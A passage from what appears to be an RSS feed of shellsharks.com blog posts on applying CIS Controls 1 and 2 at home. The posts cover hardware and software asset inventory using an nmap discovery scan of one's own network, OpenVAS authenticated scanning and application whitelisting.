  &lt;li&gt;&lt;strong&gt;Sub-Control 2.1&lt;/strong&gt;: &lt;a href=&quot;#maintain-an-inventory-of-authorized-software-sub-control-21&quot;&gt;Maintain Inventory of Authorized Software&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Sub-Control 2.2&lt;/strong&gt;: &lt;a href=&quot;#ensure-software-is-supported-by-vendor-sub-control-22&quot;&gt;Ensure Software is Supported by Vendor&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Sub-Control 2.6&lt;/strong&gt;: &lt;a href=&quot;#address-unapproved-software-sub-control-26&quot;&gt;Address Unapproved Software&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;security-value&quot;&gt;Security Value&lt;/h2&gt;

&lt;p&gt;Maintenance and routine audit of installed software is key to a secure environment. For each piece of installed software, there is added potential for vulnerability due to increased attack surface. The first step to securing your network is to understand what is on the network, and the first step to securing any individual system on that network is to understand the software that is installed on that system. Subsequently, software should be evaluated to determine whether it is still in active support by the vendor and finally, any unapproved software should be removed from the system. If software is no longer in support by the vendor, it will likely not receive future security updates and therefore may pose a more serious risk to the system. Unauthorized software may be malicious in nature or pose inadvertent risk to the system.&lt;/p&gt;

&lt;h2 id=&quot;maintain-an-inventory-of-authorized-software-sub-control-21&quot;&gt;Maintain an Inventory of Authorized Software (Sub-Control 2.1)&lt;/h2&gt;

&lt;p&gt;Let’s start with sub-control 2.1 which asks that we maintain an up-to-date list of all &lt;em&gt;authorized&lt;/em&gt; software. This inventory can be thought of as a “whitelist” - anything not on this list is considered unauthorized and therefore should be removed from the system. To create this whitelist, we need to interrogate the systems on the network for what software is currently installed. A network scanning tool such as &lt;a href=&quot;https://www.openvas.org&quot;&gt;OpenVAS&lt;/a&gt; or &lt;a href=&quot;https://www.tenable.com/products/nessus&quot;&gt;Nessus&lt;/a&gt; can do just that!&lt;/p&gt;

&lt;p&gt;In the &lt;a href=&quot;https://shellsharks.com/csc-at-home-part-1#title&quot;&gt;first part of this series&lt;/a&gt; I went over &lt;a href=&quot;https://shellsharks.com/csc-at-home-part-1#openvas-installation--usage&quot;&gt;the steps for getting up and running with OpenVAS&lt;/a&gt;. Take a look at these steps and then follow along with the steps below.&lt;/p&gt;

&lt;h3 id=&quot;openvas-authenticated-scanning&quot;&gt;OpenVAS Authenticated Scanning&lt;/h3&gt;

&lt;p&gt;To enumerate software on an endpoint, we will need to be able to authenticate to that endpoint from our scanner. For Linux devices, this means authentication over SSH and for Windows, over SMB. Linux servers will typically have a listening SSH service but if not, it is trivially installed on Linux with the following command.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;openssh-server
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can validate the server is enabled and listening as shown below.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/cis-at-home/control2/sshdstatus.png&quot; alt=&quot;sshd&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To get started with authenticated scanning using OpenVAS we need to first create a new &lt;em&gt;Credential&lt;/em&gt;. This can be done by going to &lt;em&gt;Configuration&lt;/em&gt;–&amp;gt;&lt;em&gt;Credentials&lt;/em&gt;. Just give it a name, select the type of credential and input the username and password. For SSH, username and password will work, though &lt;a href=&quot;https://www.ssh.com/ssh/keygen/&quot;&gt;key-based auth&lt;/a&gt; is recommended. Similarly for Windows, a username and password can be created. It is also recommended that service accounts (a non-user account) are created for scanning purposes. This way, the scanner can easily be configured with this service account for authenticating to remote machines.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/cis-at-home/control2/newcredential.png&quot; alt=&quot;Credential&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once we have a credential, let’s create a new Target list. Navigate to &lt;em&gt;Configuration&lt;/em&gt;–&amp;gt;&lt;em&gt;Targets&lt;/em&gt; and then create a Target and associate the credential you just created.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TIP&lt;/strong&gt;: You can associate more than one credential with a target list.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/cis-at-home/control2/addcheckstohost.png&quot; alt=&quot;targetwithcredential&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now that we have a Target with associated credentials, we can create a new Scan by going to &lt;em&gt;Scans&lt;/em&gt;–&amp;gt;&lt;em&gt;Tasks&lt;/em&gt; and creating a new Task with the Scan Targets as the newly created target and the Scan Config being set to “Full and fast”. Be sure to give the scan task a useful Name.&lt;/p&gt;

&lt;p&gt;With the scan task created, we can run the it! Give it some time to finish.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TIP&lt;/strong&gt;: Authenticated scans typically finish quicker than unauthenticated scans. This is because the act of local enumeration is much more efficient than remote fingerprinting.&lt;/p&gt;

&lt;p&gt;Once the scan finishes, click on the “Done” area of the scan record to view the report. Inside this report (once the default filters have been removed), you can see the results, hosts, ports, etc… The tab of interest for software inventory is the “Applications” tab. In here, we can see a list of &lt;a href=&quot;https://nvd.nist.gov/products/cpe&quot;&gt;Application CPE&lt;/a&gt; values. In this list we can not only see the list of applications, but also the installed versions of those applications. Awesome! We now have an inventory of software for this system.&lt;/p&gt;

&lt;p&gt;This list should be evaluated for each scanned system to determine if any of the software is “unauthorized” and should therefore be removed from this system and any other system that the software is on. If there are known vulnerabilities with any specific piece of software, this will show up in the “findings” tab of the scan report and should be addressed for that reason as well.&lt;/p&gt;

&lt;h4 id=&quot;troubleshooting-authenticated-scanning&quot;&gt;Troubleshooting Authenticated Scanning&lt;/h4&gt;

&lt;p&gt;There are a number of issues you may encounter when configuring and running authenticated scans with OpenVas. With both Linux and Windows, you will want to make sure the account you are authenticating as has proper permissions on the remote system. This means having &lt;em&gt;root&lt;/em&gt; (or sudo) privileges on Linux and &lt;em&gt;Administrator&lt;/em&gt; privileges on Windows. For Windows systems, there are a few additional things you will want to ensure are enabled prior to scanning.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;File and Printer Sharing&lt;/em&gt; must be enabled within the Windows Firewall settings.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Allow inbound file and printer exception&lt;/em&gt; setting within local group policy must be enabled.&lt;/li&gt;
  &lt;li&gt;The setting “&lt;em&gt;Prohibit use of Internet connection firewall on your DNS domain&lt;/em&gt;” must be set to &lt;em&gt;Disabled&lt;/em&gt; in the systems local group policy.&lt;/li&gt;
  &lt;li&gt;The &lt;em&gt;Remote Registry&lt;/em&gt; service must be enabled.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some additional resources for troubleshooting authenticated scans are provided below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://community.greenbone.net/t/hint-verify-target-configuration-access-for-authenticated-lsc-scans/219&quot;&gt;Authenticated Scanning w/ OpenVAS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.tenable.com/nessus/Content/CredentialedChecksOnWindows.htm&quot;&gt;Authenticated Scanning w/ Nessus&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;ensure-software-is-supported-by-vendor-sub-control-22&quot;&gt;Ensure Software is Supported by Vendor (Sub-Control 2.2)&lt;/h2&gt;

&lt;p&gt;When software becomes end-of-life, this means the vendor does not intend on releasing security patches for that respective piece of software. When new vulnerabilities are discovered, these risks will go unaddressed and the security posture of your environment will be degraded. The software list we generated in the previous sub-control should be regularly reviewed to determine whether any individual item is no longer supported by the vendor. The software inventory includes version numbers which can be used to help facilitate this task.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/cis-at-home/control2/appcpe.png&quot; alt=&quot;CPE List&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;address-unapproved-software-sub-control-26&quot;&gt;Address Unapproved Software (Sub-Control 2.6)&lt;/h2&gt;

&lt;p&gt;When software is identified, via scanning operations, that is not explicitly “approved”, it should be removed from a system. A technical control for implementing this concept is “Application Whitelisting”. Application whitelisting is essentially a piece of software that enforces what other software is allowed to be installed on a system. Any item that is &lt;em&gt;not&lt;/em&gt; on the whitelist will be blocked from being installed. New software items can be added with business justification. Application whitelisting on Linux can be achieved through the &lt;a href=&quot;http://github.com/linux-application-whitelisting/fapolicyd&quot;&gt;File Access Policy Daemon&lt;/a&gt;. On Windows, &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview&quot;&gt;AppLocker&lt;/a&gt; can be used for software whitelisting. Here’s another &lt;a href=&quot;https://www.tiraniddo.dev/2019/11/the-internals-of-applocker-part-1.html&quot;&gt;great and very technical guide series for standing up AppLocker&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;the-automation-dilemma&quot;&gt;The Automation Dilemma&lt;/h2&gt;

&lt;p&gt;Inventory and control of software assets for an IG1-class organization comes down to three things…&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Maintain an inventory of authorized software.&lt;/li&gt;
  &lt;li&gt;Ensure software is supported by the vendor.&lt;/li&gt;
  &lt;li&gt;Address unapproved software.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Achieving these three things is made much easier through the use of &lt;em&gt;automation&lt;/em&gt;. The community version of OpenVAS has some limitations when it comes to automating via the GSM API. Without automation, a lot of the work described above is manually performed, week after week. At a small scale (which is the case with IG-1 environments) this may not require too much work but as the network grows in size, so too will the work required to achieve proper software inventory and control. This is where automation steps in.&lt;/p&gt;

&lt;h1 id=&quot;next-in-the-series&quot;&gt;Next in the Series&lt;/h1&gt;

&lt;p&gt;Thanks for reading! The next chapter in the &lt;em&gt;CIS at Home&lt;/em&gt; series covers &lt;strong&gt;Control 3&lt;/strong&gt;: &lt;a href=&quot;https://shellsharks.com/csc-at-home-part-3#title&quot;&gt;Continuous Vulnerability Management&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;previously-in-the-series&quot;&gt;Previously in the Series&lt;/h1&gt;

&lt;p&gt;The previous chapter in the &lt;em&gt;CIS at Home&lt;/em&gt; series covers &lt;strong&gt;Control 1&lt;/strong&gt;: &lt;a href=&quot;https://shellsharks.com/csc-at-home-part-1#title&quot;&gt;Inventory and Control of Hardware Assets&lt;/a&gt;.&lt;/p&gt;
</description>
        <pubDate>Sun, 12 May 2024 09:00:00 -0400</pubDate>
        <link>https://shellsharks.com/csc-at-home-part-2</link>
        <guid isPermaLink="true">https://shellsharks.com/csc-at-home-part-2</guid>
        
        <category>infosec</category>
        
        <category>cis</category>
        
        <category>csc</category>
        
        <category>openvas</category>
        
        <category>vm</category>
        
        <category>scanning</category>
        
        <category>blopomo</category>
        
        <category>weblogpomo2024</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>CSC at Home (Part 1): Hardware Inventory and Control</title>
        <shark:summary><p>This is the first in a series of posts discussing the <a href="https://www.cisecurity.org/controls/">CIS Top 20</a> controls and how they can be implemented in a home or small-business environment. Before getting into the first of these controls, I’ll begin by providing some introductory background on the CIS Top 20.</p>
</shark:summary>
        <description>&lt;p&gt;This is the first in a series of posts discussing the &lt;a href=&quot;https://www.cisecurity.org/controls/&quot;&gt;CIS Top 20&lt;/a&gt; controls and how they can be implemented in a home or small-business environment. Before getting into the first of these controls, I’ll begin by providing some introductory background on the CIS Top 20.&lt;/p&gt;

&lt;div class=&quot;containbox&quot;&gt;This post, as part of a 3-part series are all pieces I had sitting in my drafts folder since the beginning of 2021. As such, they cover a version of the CIS Critical Security Controls that is rather old at this point. Still, I thought the content relevant and interesting enough to publish (as-was), even after all these years. Let me know what you think!&lt;/div&gt;

&lt;h1 id=&quot;cis-top-20&quot;&gt;CIS Top 20&lt;/h1&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.cisecurity.org/controls/&quot;&gt;CIS Top 20&lt;/a&gt; controls, published and maintained by the &lt;a href=&quot;https://www.cisecurity.org&quot;&gt;Center for Internet Security&lt;/a&gt; (CIS) are in essence, a &lt;strong&gt;prioritized&lt;/strong&gt; set of actions, that when implemented, improve the security posture of your IT environment. The CIS Top 20 was developed by a &lt;a href=&quot;https://en.wikipedia.org/wiki/The_CIS_Critical_Security_Controls_for_Effective_Cyber_Defense#Contributors&quot;&gt;community of experts&lt;/a&gt; and is a well-known and oft-used framework in both the public and private sector. It focuses on all aspects of cybersecurity including &lt;em&gt;identification&lt;/em&gt;, &lt;em&gt;protection&lt;/em&gt;, &lt;em&gt;detection&lt;/em&gt;, &lt;em&gt;response&lt;/em&gt; and &lt;em&gt;recovery&lt;/em&gt; (these pillars of cybersecurity are described further in &lt;a href=&quot;https://www.nist.gov/cyberframework&quot;&gt;NIST’s CSF&lt;/a&gt;). These 20 high-level controls are further broken into smaller sub-controls which more granularly detail how the goals of the parent control are met. It’s important to stress the &lt;em&gt;prioritized&lt;/em&gt; nature of these controls. They are meant to be implemented in order. Implementing control 2 for example, would be fraught without first completing control 1.&lt;/p&gt;

&lt;p&gt;The current version of the CIS controls (at &lt;a href=&quot;https://www.cisecurity.org/blog/cis-controls-version-7-whats-old-whats-new/&quot;&gt;version 7.1&lt;/a&gt;) details how organizations of varying capabilities and resource capacities can best implement the CIS controls. This concept is built into the framework using the idea of “&lt;a href=&quot;https://www.cisecurity.org/white-papers/cis-controls-v-7-1-implementation-groups/&quot;&gt;Implementation Groups&lt;/a&gt;”, of which there are 3 (“&lt;em&gt;IG1&lt;/em&gt;”, “&lt;em&gt;IG2&lt;/em&gt;” and “&lt;em&gt;IG3&lt;/em&gt;”). CIS describes an IG1 (“Implementation Group 1”) organization as “A family-owned business with ~10 employees”. I would consider an IG1 organization as a home-network or small business with little to no dedicated security funding and minimal (or zero) dedicated cybersecurity personnel.&lt;/p&gt;

&lt;p&gt;CIS also breaks down the 20 controls into three distinct groups, “&lt;em&gt;Basic&lt;/em&gt;”, “&lt;em&gt;Foundational&lt;/em&gt;” and “&lt;em&gt;Organizational&lt;/em&gt;”. The initial group, “Basic”, includes the first 6 controls. The subsequent groups contain the next 10 and the next 4 controls respectively. Through this series, I will focus on how an IG1-class organization (such as a small business or simply a home network) can implement these CIS controls.&lt;/p&gt;

&lt;p&gt;As the write-ups for each control are published, they will be made available in this list below.&lt;/p&gt;

&lt;h5 id=&quot;basic&quot;&gt;Basic&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Control 1&lt;/strong&gt;: &lt;a href=&quot;#cis-control-1-inventory-and-control-of-hardware-assets&quot;&gt;Inventory and Control of Hardware Assets&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Control 2&lt;/strong&gt;: &lt;a href=&quot;https://shellsharks.com/csc-at-home-part-2.html#cis-control-2-inventory-and-control-of-software-assets&quot;&gt;Inventory and Control of Software Assets&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Control 3&lt;/strong&gt;: &lt;a href=&quot;https://shellsharks.com/csc-at-home-part-3.html#cis-control-3-continuous-vulnerability-management&quot;&gt;Continuous Vulnerability Management&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Control 4: Controlled Use of Administration Privileges&lt;/li&gt;
  &lt;li&gt;Control 5: Secure Configuration for Hardware and Software&lt;/li&gt;
  &lt;li&gt;Control 6: Maintenance, Monitoring and Analysis of Audit Logs&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;foundational&quot;&gt;Foundational&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;Control 7: Email and Web Browser Protections&lt;/li&gt;
  &lt;li&gt;Control 8: Malware Defenses&lt;/li&gt;
  &lt;li&gt;Control 9: Limitation and Control of Network Ports, Protocols and Services&lt;/li&gt;
  &lt;li&gt;Control 10: Data Recovery Capabilities&lt;/li&gt;
  &lt;li&gt;Control 11: Secure Configuration for Network Devices, such as Firewalls, Routers and Switches&lt;/li&gt;
  &lt;li&gt;Control 12: Boundary Defense&lt;/li&gt;
  &lt;li&gt;Control 13: Data Protection&lt;/li&gt;
  &lt;li&gt;Control 14: Controlled Access Based on the Need to Know&lt;/li&gt;
  &lt;li&gt;Control 15: Wireless Access Control&lt;/li&gt;
  &lt;li&gt;Control 16: Account Monitoring and Control&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;organizational&quot;&gt;Organizational&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;Control 17: Implement a Security Awareness and Training Program&lt;/li&gt;
  &lt;li&gt;Control 18: Application Software Security&lt;/li&gt;
  &lt;li&gt;Control 19: Incident Response and Management&lt;/li&gt;
  &lt;li&gt;Control 20: Penetration Tests and Red Team Exercises&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;cis-control-1-inventory-and-control-of-hardware-assets&quot;&gt;CIS Control 1: Inventory and Control of Hardware Assets&lt;/h1&gt;

&lt;p&gt;For small organizations, the first control is as simple as the name - maintain an up-to-date inventory of your hardware, and implement some control over how that hardware accesses your network. For IG1-class organizations, the relevant sub-controls are as follows.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Sub-Control 1.4&lt;/strong&gt;: &lt;a href=&quot;#maintain-detailed-asset-inventory-sub-control-14&quot;&gt;Maintain Detailed Asset Inventory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Sub-Control 1.6&lt;/strong&gt;: &lt;a href=&quot;#address-unauthorized-assets-sub-control-16&quot;&gt;Address Unauthorized Assets&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;security-value&quot;&gt;Security Value&lt;/h2&gt;

&lt;p&gt;They say “&lt;em&gt;you can’t protect what you don’t know you have&lt;/em&gt;”. This control is the embodiment of that phrase and as it applies to IT security, it makes a lot of sense. Computers and other IT systems don’t typically come secured out of the box. It takes careful configuration and often times installation of additional software and tools to properly secure most systems. This emphasizes the need to recognize all devices on the network so that they may be actively secured. Maintaining an accurate inventory will help system owners dedicate the proper attention to each device on the network.&lt;/p&gt;

&lt;p&gt;In addition to &lt;em&gt;knowing&lt;/em&gt; what is on your network, it is also recommended to &lt;em&gt;control&lt;/em&gt; what devices are allowed on your network. If you are configuring a new device, you may not want it to have full network access until it is fully and completely secured. We also need to monitor the environment for devices which we do not own and have somehow been given unauthorized access to the network. These “rogue devices” are potentially dangerous and must be identified and then removed or quarantined.&lt;/p&gt;

&lt;h2 id=&quot;maintain-detailed-asset-inventory-sub-control-14&quot;&gt;Maintain Detailed Asset Inventory (Sub-Control 1.4)&lt;/h2&gt;

&lt;p&gt;Let’s start with sub-control 1.4 which asks that we maintain an accurate and up-to-date inventory of all technology assets with the potential to store or process information. The sub-control goes on to say that this inventory shall include all assets, whether connected to the the organization’s network or not. In terms of the inventory, it’s a good idea to understand for each system, what it’s purpose is, the data it processes and who owns it.&lt;/p&gt;

&lt;p&gt;A proven method for identifying network-resident hosts is to perform discovery scanning. For this, I trust good ol’ &lt;a href=&quot;https://nmap.org&quot;&gt;NMAP&lt;/a&gt;! Before we begin scanning however, it’s good to have as much of an understanding of the target network as possible. Having a pre-existing network topology/diagram would be a good place to start. With this in hand you can understand if the network is hierarchical/segmented in nature or flat. Knowing this will help you better discover assets across your network. Of course, not everyone has a documented network diagram on-hand, so instead… Assuming a flat network, first find the IP of one system and begin scanning the network it resides on.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TIP&lt;/strong&gt;: With segmented/hierarchical networks, you may need to whitelist your scanning devices on the firewalls themselves so that scan traffic may freely traverse the different network segments.&lt;/p&gt;

&lt;h3 id=&quot;nmap&quot;&gt;NMAP&lt;/h3&gt;

&lt;p&gt;Let’s get started with discovery scanning using NMAP. Run an ‘&lt;em&gt;ifconfig&lt;/em&gt;’ or ‘&lt;em&gt;ipconfig&lt;/em&gt;’ (depending on the OS of your host system), determine your IP address and then start with the following discovery scan. For help installing NMAP, reference the &lt;a href=&quot;https://nmap.org/download.html&quot;&gt;nmap.org site&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;nmap &lt;span class=&quot;nt&quot;&gt;-sn&lt;/span&gt; 192.168.1.0/24 &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--traceroute&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-oA&lt;/span&gt; discoveryresults
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Quickly running through the command parameters here…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;sudo&lt;/strong&gt;: This nmap command needs to be run as root since it needs to create raw sockets for sending ICMP packets.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;-sn&lt;/strong&gt;: This is the discovery flag which limits nmap probes to ICMP and TCP-based pings.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;192.168.1.0/24&lt;/strong&gt;: If your systems are on the 192.168.1.0/24 Class-C network, this would be a good place to start. Alternatively, your network may house systems with IPs in a different &lt;em&gt;internal&lt;/em&gt; (&lt;a href=&quot;https://tools.ietf.org/html/rfc1918&quot;&gt;RFC-1918&lt;/a&gt;) network range, such as 10.0.0.0/8. Be warned though! /24 (Class-C) networks may only have 256 potential addresses, but class B and class A networks have ~65 thousand and ~16 million IPs respectively. Scanning these would take considerable time. Be sure to input a network subnet here that best fits your target network.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;-n&lt;/strong&gt;: Disables DNS resolution.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;–traceroute&lt;/strong&gt;: This may help better understand network topology via a &lt;a href=&quot;https://nmap.org/book/man-host-discovery.html&quot;&gt;traceroute&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;-oA discoveryresults&lt;/strong&gt;: Finally, save the results of your scan into different formats for later processing in a file named “discoveryresults”.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once the scan has finished (this may take considerable time depending on the size of the network you are scanning - feel free to increase scan speed using the &lt;a href=&quot;https://nmap.org/book/man-performance.html&quot;&gt;command flag ‘-T5’&lt;/a&gt; which is the max speed that can be chosen), we look at the results and begin the inventory process. Primarily, we want to understand the following…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;How many devices did we find?&lt;/li&gt;
  &lt;li&gt;Do we know of anything we missed?&lt;/li&gt;
  &lt;li&gt;Of the devices we found, what are they? (e.g. Servers, Workstations, Operating System, etc…)&lt;/li&gt;
  &lt;li&gt;Who is the owner of the devices we found?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The ping scan returns &lt;em&gt;some&lt;/em&gt; helpful inventory-related information in addition to simply whether a system was found “live” on the network. Namely, the MAC address for each system is found and with this mac address, NMAP can hint at what that device may be as MAC addresses &lt;a href=&quot;https://www.wireshark.org/tools/oui-lookup.html&quot;&gt;map back to specific manufacturers&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Nmap scan report &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;192.168.1.6
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.81s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
MAC Address: 64:52:99:A7:7F:D8 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;The Chamberlain Group&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As can be seen in the NMAP output above, based on the MAC address of this discovered system, the owner is likely “The Chamberlain Group”. I now know that this is my smart garage door controller. Neat!&lt;/p&gt;

&lt;h3 id=&quot;openvas&quot;&gt;OpenVAS&lt;/h3&gt;

&lt;p&gt;NMAP is a great tool, and it is a great place to start when first doing discovery scanning on your network. However, without considerable extensions to basic functionality, NMAP is not the ideal solution for maintaining an enterprise-grade hardware asset inventory. For this, one could instead turn to a more feature-filled “Vulnerability Management” tool and full-featured scanner such as &lt;a href=&quot;https://www.openvas.org&quot;&gt;OpenVAS&lt;/a&gt; or &lt;a href=&quot;https://www.tenable.com/products/nessus&quot;&gt;Nessus&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;OpenVAS, originally “GNessUs” began as a fork of the previously open-source Nessus tool. Once Tenable took Nessus proprietary, OpenVAS continued to be maintained as an open-source alternative. Since then, its maintainers, &lt;a href=&quot;https://www.greenbone.net/en&quot;&gt;Greenbone Networks&lt;/a&gt; have continued to develop OpenVAS as part of its larger vulnerability management product known as &lt;a href=&quot;https://www.greenbone.net/en/product-comparison/&quot;&gt;Greenbone Security Manager&lt;/a&gt; or “&lt;strong&gt;GSM&lt;/strong&gt;”.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: I will likely use the terms “GSM” and “OpenVAS” interchangeably.&lt;/p&gt;

&lt;h4 id=&quot;openvas-installation--usage&quot;&gt;OpenVAS Installation &amp;amp; Usage&lt;/h4&gt;

&lt;p&gt;To get started with GSM, Greenbone offers a free “trial” (the trial has some functionality limited compared to the fully-licensed version) via the downloadable &lt;a href=&quot;https://www.greenbone.net/en/testnow/&quot;&gt;Greenbone Security Manager Virtual Appliance&lt;/a&gt;. This virtual appliance can be spun up using virtualization software such as &lt;a href=&quot;https://www.virtualbox.org&quot;&gt;VirtualBox&lt;/a&gt; or &lt;a href=&quot;https://www.vmware.com&quot;&gt;VMware&lt;/a&gt;. In the spirt of free and open-source, Greenbone provides detailed &lt;a href=&quot;https://community.greenbone.net/t/setting-up-the-greenbone-security-manager-trial-gsm-trial-virtual-machine/6939&quot;&gt;installation instructions&lt;/a&gt; for getting up and running with GSM inside VirtualBox. To get started, simply &lt;a href=&quot;https://files.greenbone.net/download/VM/gsm-trial-20.08.4.iso&quot;&gt;download the virtual appliance&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;Once you have the GSM up and running (I recommend following the &lt;a href=&quot;https://community.greenbone.net/t/setting-up-the-greenbone-security-manager-trial-gsm-trial-virtual-machine/6939&quot;&gt;install guide from GreenBone&lt;/a&gt;), log into the web interface.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/cis-at-home/control1/WebInterface.png&quot; alt=&quot;Web Interface Login&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;To configure your first discovery scan, first go to &lt;em&gt;Configuration&lt;/em&gt;–&amp;gt;&lt;em&gt;Targets&lt;/em&gt; (on the main dashboard) and create a New Target (using the button in the top left). Unlike with NMAP, GSM will be unable to scan an entire &lt;em&gt;/16&lt;/em&gt; network range, &lt;em&gt;/24&lt;/em&gt; is the highest it can go. Given this limitation, using NMAP to first discover systems on the wider network and then creating targets in OpenVAS which map to the class C subnets found in NMAP would be the best approach. Conversely, rogue-device scanning (&lt;a href=&quot;#rogue-device-scanning&quot;&gt;covered later in control 1.6&lt;/a&gt;) is probably best done with NMAP. Alternatively of course, you could configure 250+ targets in OpenVAS for each class C within the larger class B but that is likely well beyond what you will need. With my network, I stuck with the 192.168.1.0/24 (class C) network and I left every other field in this Target wizard as the default value.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/cis-at-home/control1/NewTarget.png&quot; alt=&quot;Discovery Targets&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;With that Target created, we can then go to &lt;em&gt;Scans&lt;/em&gt;–&amp;gt;&lt;em&gt;Tasks&lt;/em&gt; and click the “New Task” button in the top left. In this form, input a name (like “Discovery Scan” for example), set the scan targets using the drop-down menu to the Target object you created in the previous step and then set the “Scan Config” drop-down field to “Base”. All other fields can be left default for now. Click save.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;TIP&lt;/strong&gt;: The “Base” scan (as opposed to the “Discovery” scan template) performs the minimum set of actions required for host-discovery within OpenVAS.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Once saved, the scan can be run by clicking the play button on the Tasks main page (on the line where the new task was created).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Now sit back, grab a quick snack or a cup of coffee and let the scanner do its thing! …&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/cis-at-home/control1/BaseScan.png&quot; alt=&quot;Discovery Scan&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Once finished, navigate back to the &lt;em&gt;Scans&lt;/em&gt;–&amp;gt;&lt;em&gt;Tasks&lt;/em&gt; pane, click on the link for the completed scan and then click on the blue status icon “Done”. Once inside the scan results, click the “Results” tab and click “Remove all filter settings”.&lt;/p&gt;
  &lt;/li&gt;
